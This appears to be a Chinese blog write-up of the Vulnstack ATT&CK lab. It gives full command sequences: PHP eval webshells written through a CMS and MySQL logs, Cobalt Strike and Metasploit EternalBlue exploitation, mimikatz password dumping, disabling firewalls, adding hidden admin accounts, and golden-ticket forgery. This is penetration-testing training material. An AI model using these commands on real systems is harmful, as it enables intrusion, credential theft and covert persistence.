ATK&CK(一) | Charmersix's Blog
source link: http://charmersix.icu/2023/10/13/ATK&CK(%E4%B8%80)/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
靶机下载: http://vulnstack.qiyuanxuetang.net/vuln/detail/2
环境搭建与网络配置
网路架构图:
虚拟机网络环境:
各台机器详细配置:
登录密码均为hongrisec@2019
配置win7双网卡, 并ping测试
对站点IP使用nmap扫描
nmap -sV -p- 192.168.224.137
#-sV Version版本检测扫描
#-p- 全端口扫描
具体nmap
使用教程可以参考这一篇https://blog.csdn.net/Kris__zhang/article/details/106841466
这里推荐一下dirmap
, 其功能强于DirBuster、Dirsearch、cansina、御剑.
github下载地址https://codeload.github.com/H4ckForJob/dirmap/zip/master
# 安装
$ git clone https://github.com/H4ckForJob/dirmap.git && cd dirmap && python3 -m pip install -r requirement.txt
# 使用 单个目标
$ python3 dirmap.py -iU https://site.com -lcf
# 多个目标
$ python3 dirmap.py -iF urls.txt -lcf
python .\dirmap.py -i http://192.168.224.137 -lcf
看到有个备份文件, 下载查看
有个robots.txt
主站为: http://192.168.224.137/YXCMS/
这里还有phpMyAdmin
登录地址http://192.168.224.137/phpMyAdmin/
phpinfo泄露地址http://192.168.224.137/phpinfo.php
访问主站发现开发遗留的若只问题
访问phpinfo()
这里暴露了绝对地址
web漏洞利用
后台弱口令
http://192.168.224.137/YXCMS/index.php?r=admin/index/login
账号:admin
密码:123456
后台写入shell文件
<?php eval($_REQUEST[6]);?>
保存, 然后从我们最开始下载的备份文件里, 可以找到shell.php的路径; 这里随便搜一个前台模板文件, 看一下路径
可以复制出路径protected/apps/default/view/default/photo_content.php
http://192.168.224.137/YXCMS/protected/apps/default/view/default/shell.php
6=phpinfo();
连接蚁剑成功
前台存储型XSS
观察网站主站, 发现有个留言本功能, 尝试xss. 成功
登录后台, 打开留言本, 成功弹出cookie, xss利用成功
这里重点不在于代码审计, 所以更多关于这个YXcms
的web漏洞可以参考这篇文章https://www.freebuf.com/column/162886.html
phpMyAdmin弱口令+数据库日志getshell
弱口令登录
在最开始扫描中, 我们就发现了这个界面, 现在我们尝试登录
账号密码都是 root
, 成功登录
写入文件getshell(失败)
这里可以执行sql语句, 虽然我们也无法确定当前是否开了写文件的权限, 我们可以直接写入试试就知道了
select '<?php eval($_REQUEST[6]); ?>' into outfile 'C:/phpStudy/WWW/shell.php'
执行失败, 并且从翻译中可以看出, 是没有权限, 那么我们可以尝试开启这个权限
show variables like "secure%";
set global secure_file_priv='ON';
但是没有修改权限
全局日志getshell
尝试数据库全局日志写入
先查询是否有权限
show variables like 'general%';
权限为off
, 尝试修改权限
set global general_log = 'ON';
成功修改
然后把general_log
日志路径放网站根目录
set global general_log_file='C:/phpStudy/WWW/shell.php';
SHOW VARIABLES LIKE 'general_log_file';
访问查看, 可以发现日志能够记录我们执行的sql语句
现在尝试写入一句话木马
select '<?php eval($_REQUEST[6]); ?>'
测试一下, 成功
慢查询日志getshell
下面试一下数据库慢查询日志写入
show variables like 'slow%'
与上述一样, 可以把时间修改的小一些
set global slow_query_log=on;
set global slow_query_log_file="C:/phpStudy/WWW/shell2.php";
set global Long_query_time=2;
show variables like 'slow%';
写入一句话木马
select '<?php eval($_REQUEST[666]); ?>' or sleep(2);
错误日志getshell(失败)
show variables like '%error%';
为空, 我们直接写入错误日志文件位置
set log_error = 'C:/phpStudy/WWW/shell3.php';
show variables like 'log_error';
首先我们准备好cobaltstrike
搭建cs服务端
我们用cs生成一个大马
通过蚁剑上传到服务器
运行一下, 才能cs上线
这里为了提高效率, 我们直接把延时调到0
sleep 0
域信息收集
收集端口信息
shell netstat -ano
查看系统信息
shell systeminfo
同时拿到内网ip
查看是否有域以及当前域
shell net config workstation
查看域内所有用户列表
shell net user /domain
直接操作失败, 这里需要提权
成功后, 继续操作
查看域成员计算机列表
shell net group "domain computers" /domain
本机计算机名字为 STU1,另外还有两个域用户分别是 DEV1、ROOT-TVI862UBEH
查看域管理员用户
shell net group "domain admins" /domain
域控用户名为OWA
使用lodan扫描内网网络
Ladon 192.168.52.0/24 OnlinePC
再用mimikatz抓一下密码,得到当前用户登录密码为hongrisec@2019
logonpasswords
这里汇总一下信息收集的命令
netsh advfirewall set allprofiles state off
关闭防火墙
shell netstat -ano
查看开放端口
shell systeminfo
查看系统信息
shell ipconfig/all
查看网络信息
shell whoami
查看用户信息
shell whoami/all
查看所有用户信息
shell hostname
获取dns信息
shell net view
查看当前局域网中的计算机列表
shell net user
查看当前计算机中的用户
systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
systeminfo | findstr /B /C:"OS 名称" /C:"OS 版本"
查询操作系统及软件信息
echo %PROCESSOR_ARCHITECTURE%
查看系统体系结构
powershell "Get-WmiObject -class Win32_Product |Select-Object -Property name, version"
使用PowerShell收集软件的版本信息
whoami && whoami /priv
查看当前权限
wmic service list brief
查询本机服务信息
wmic product get name, version
查看安装的软件的版本、路径等
wmic process list brief
查询进程信息
wmic startup get command,caption
查看启动程序信息
shell tasklist
查看常见的杀毒软件进程
shell net view /domain
查看主域信息
shell net time /domain
查看时间服务器
shell net config workstation
查看当前的登录域与用户信息
shell nslookup god.org
寻找域dns服务器ip
shell ping -a god.org
ping dns服务器
shell net user /domain
获取当前域内的用户
shell wmic useraccount get /all
获取域内用户的详细信息
shell net group "domain computers" /domain
查看当前域成员计算机列表
shell net group "domain admins" /domain
查看域管理员的用户组
shell net group "Enterprise admins" /domain
查询域系统管理员用户组
shell net group "domain controllers" /domain
查看域控制器
shell net accounts /domain
获取域密码信息
net view
扫描端口信息
hashdump
读取内存密码
logonpasswords
用mimakatz读注册表密码
shell for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.52.%I | findstr "TTL="
探测内网其他主机
3389远程登录
这里我们可以通过ladon
神器一键开启3389
端口
当然也有备用方案, 通过修改注册表开启3389
, 并可以关闭防火墙
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
netsh firewall set opmode disable # winsows server 2003 之前
netsh advfirewall set allprofiles state off # winsows server 2003 之后
然后我们可以添加一个花生壳来内网穿透
当然也可以不用花生壳, 因为这台服务器本来就开放了公网IP
之后我们就直接可以用自己电脑远程登录链接到靶机
win+r
输入mstsc
地址为花生壳生成的地址
账号密码就是我们获取到的账号密码, 我这里是
god\Administrator
hongrisec@2023
成功登录
内网漏洞扫描
远程登陆我们发现靶机上有一个nmap, 可以进一步针对内网主机进行漏洞信息收集
nmap --script=vuln 192.168.52.0/24
我们可以发现192.168.52.141
也就是域成员主机存在ms08-067
和ms17-010
漏洞.
而且域控主机192.168.52.138
存在ms17-010
CS派生SMB beacon
SMB beacon通过命名管道与父级beacon进行通信, 当两个beacons连接之后, 子beacon从父beacon获取到任务并发送, 因为连接的beacons使用Windows命名管道进行通信, 此流量封装在smb协议中, 所以smb beacon相对隐蔽, 绕过防火墙有奇效.
这时候我们就可以使用smb beacon 然主机C上线。(前提是有主机C的账号密码)
第一种是在已经有的beacon上建立监听, 用来作为跳板内网穿透, 前提是通过shell访问其他内网主机, 也就是获取dc(设备描述表)的方法
第二种是直接派生一个子beacon, 目的是为了进一步盗取内网主机的hash, 新建一个listener, payload设置为beacon smb
保存, 然后新建一个会话, 选择我们新添加的SMB
可以看到派生了一个新的子会话, 这就是派生的 SMB Beacon,当前没有连接
可以在主 Beacon 上用 link host 连接它,或者 unlink host 断开它
可以进一步盗取内网主机的 hash
psexec使用凭证登录其他主机
目标列表可以查看刚才探测到的内网其他主机
再看一下我们之前啊mimikatz读取的密码
右键选择一台主机
同样方法可以上线另一台主机
TIPS: 这中间的任何问题都是最初密码的问题, 最终解决方案可以通过重新部署两台winserver解决
这是我比较混乱的最终效果
MSF联动CS
MSF启动!
msfconsole
use multi/handler
使用监听模块
set payload windows/meterpreter/reverse_http
设置 payload为 windows下的反向http连接
set lhost 192.168.224.128
设置本机ip作为监听ip
set lport 9999
设置本机9999端口作为监听端口
run
运行
回到cs, 新建一个监听器
然后新建会话使用这个msf监听器
shell成功接到msf
接下来配置静态路由
配置静态路由的主要目的是绕过网络防火墙、路由器或其他网络设备的限制,以便在目标网络上移动、侦察或执行特定任务。
run get_local_subnets
查看网段子网
run autoroute -s 192.168.52.0/24
添加路由
run autoroute -p
查看路由
background
转入后台
接下来代理转发
或者使用msf的代理模块
use auxiliary/server/socks_proxy
set version 5
set srvhost 192.168.224.128
然后修改配置文件
sudo vim /etc/proxychains4.conf
刚才收集到域成员主机存在MS08-067
和MS17_010
漏洞,由于目标系统无法直接连接到攻击机,所以需要将payload设置为Bind_tcp
类型展开攻击
setg Proxies socks:192.168.224.128:8888
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp
set rhosts 192.168.52.138
run
拿到会话, 但是会因为蓝屏没法执行命令, 可以使用auxiliary/admin/smb/ms17_010_command
执行命令
use auxiliary/admin/smb/ms17_010_command
使用这个模块
set rhosts 192.168.52.138
设置ip
set command whoami
设置命令
run
接下来关闭防火墙, 开启3389远程登陆
use auxiliary/admin/smb/ms17_010_command
set rhosts 192.168.52.138
set command 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f'
run
set command 'netsh advfirewall set allprofiles state off'
run
然后添加用户
set command net user 6 123qwe. /add
run
set command net localgroup administrators 6 /add
run
rdesktop 192.168.52.138 -u 6 -p 123qwe.
但是这里我们无法进入owa域, 我们手动改到god域, 成功登录
接下来我们开始连接另一台机器
之前漏扫得到192.168.52.141
存在ms08-067
和ms17-010
漏洞
其中ms17-010
上面已经演示过, 这里我们先演示一下ms08-067
search ms08-067
use 0
set payload windows/meterpreter/bind_tcp
set rhost 192.168.52.141
set lhost 192.168.224.128
run
多次尝试以失败告终, 那么只能再利用一下ms17-010
setg Proxies socks:192.168.224.128:8888
use auxiliary/admin/smb/ms17_010_command
set rhosts 192.168.52.141
set command 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f'
run
set command 'netsh firewall set opmode disable'
run
set command net user 6 123qwe. /add
run
set command net localgroup administrators 6 /add
run
rdesktop 192.168.52.141 -u 6 -p 123qwe.
这里再介绍一下telnet
use auxiliary/admin/smb/ms17_010_command
set rhosts 192.168.52.141
set command sc config tlntsvr start= auto
run
set command net start telnet
run
set command netstat -an
run
开启完后我们尝试连接
use auxiliary/scanner/telnet/telnet_login
set rhosts 192.168.52.141
set username 6
set password 123qwe.
exploit
利用失败, 手动连接
telnet 192.168.52.141
成功了, exit
可以退出
这里我们已经拿到了域控主机, 先hashdump得到kebtgt账户的NTLM值
krbtgt用户是系统在创建域时自动生成的账号,密码是随机生成的,无法登录主机,是KDC(密钥分发中心)的服务账号。在域环境中,每个用户账号的票据都是由 krbtgt 用户所生成的
aad3b435b51404eeaad3b435b51404ee:58e91a5ac358d86513ab224312314061:::
然后用mimikatz
找到一个合法的sid
S-1-5-21-2952760202-1353902439-2381784089-500
然后就可以构造黄金票据了, 用户名任意, 域名为当前域名, sid和hash值就是刚才获取到的
可以使用mimikatz kerberos::list
命令查看当前系统的票据:
那么即使域控这台主机权限掉了或密码被修改了,我们依然可以使用边缘主机的黄金票据模拟获得最高权限,由于跳过AS验证,也就无需担心域管密码被修改
加载票据访问,选择监听器后执行,主机成功上线:
补充金票银票的区别:
金票Golden ticket:
在Kerberos认证中,Client通过AS(身份认证服务)认证后,AS会给Client一个Logon Session Key和TGT,而Logon Session Key并不会保存在KDC中,krbtgt 的 NTLM Hash又是固定的,所以只要得到 krbtgt 的 NTLM Hash,就可以伪造TGT和Logon Session Key来进入下一步Client与TGS的交互。而已有了金票后,就跳过AS验证,不用验证账户和密码,所以也不担心域管密码修改。
特点:不需要与AS进行交互,需要用户 krbtgt 的 Hash
条件:域名称、域的SID值、域的 KRBTGT 账号的 HASH、伪造任意用户名
AS:校验访问用户身份,看看你是谁,如果你的用户名存在AS对的数据库里面,那么就会给你一个随机64位的值,但是这个值是经过你的用户密码加密的,你得本地拿自己密码解开,这个是用来通信的,你和TGS的沟通都会用这个密钥加密。
TGS:和目标机器进行交互,中间用AS提供的密钥加密,然后对你提供的密码进行校验。
银票SILVER TICKET:
如果说黄金票据是伪造的TGT,那么白银票据就是伪造的ST。
在Kerberos认证的第三步,Client 带着ST和Authenticator3向Server上的某个服务进行请求,Server接收到Client的请求之后,通过自己的Master Key解密ST,从而获得Session Key。通过Session Key解密Authenticator3,进而验证对方的身份,验证成功就让 Client 访问 Server上的指定服务了。所以我们只需要知道Server用户的Hash就可以伪造出一个ST,且不会经过KDC,但是伪造的门票只对部分服务起作用。
特点:不需要与KDC进行交互、需要 server 的NTLM hash
区别:
获取的权限不同:
金票:伪造的TGT,可以获取任意Kerberos的访问权限
银票:伪造的ST,只能访问指定的服务,如CIFS
认证流程不同:
金票:同KDC交互,但不同AS交互
银票:不同KDC交互,直接访问Server加密方式不同:
金票:由krbtgt NTLM Hash 加密
银票:由服务账号 NTLM Hash 加密
先删除之前创建的用户
shell net user 6 /delete
接下来添加隐藏用户
shell net user 666$ 123qwe. /add
shell net localgroup administrators 666$ /add
shell net user
rdesktop 192.168.52.138 -u 666$ -p 123qwe.
更改注册表
regedit
打开注册表, 找到HKEY_LOCAL_MACHINE\SAM\SAM
给administrators
赋予完全控制权限
将 Administrator
用户对应项的 F 数据值复制到 666$
用户对应项的 F 数据值, 其中000001F4
就是Administrator
用户
但是这里失败, 不过我们可以直接利用工具: CreateHiddenAccount
将CreateHiddenAccount_v0.2.exe
上传到机器
管理员身份启动cmd
CreateHiddenAccount_v0.2.exe -c 检查是否有隐藏账户
CreateHiddenAccount_v0.2.exe -u wanan -p p-0p-0p-0 创建名为wanan,密码为p-0p-0p-0的账户。会自动补上$
CreateHiddenAccount_v0.2.exe -d wanan$ 删除隐藏账户
这里由于靶场原因很多手段都失败了, 这里记录一下较为全面的方法
https://blog.csdn.net/qq_48985780/article/details/122297100
windows 日志路径:
系统日志:%SystemRoot%\System32\Winevt\Logs\System.evtx
安全日志:%SystemRoot%\System32\Winevt\Logs\Security.evtx
应用程序日志:%SystemRoot%\System32\Winevt\Logs\Application.evtx
日志在注册表的键:HKEY_LOCAL_MACHINE\system\CurrentControlSet\Services\Eventlog
Recommend
About Joyk
Aggregate valuable and interesting links.
Joyk means Joy of geeK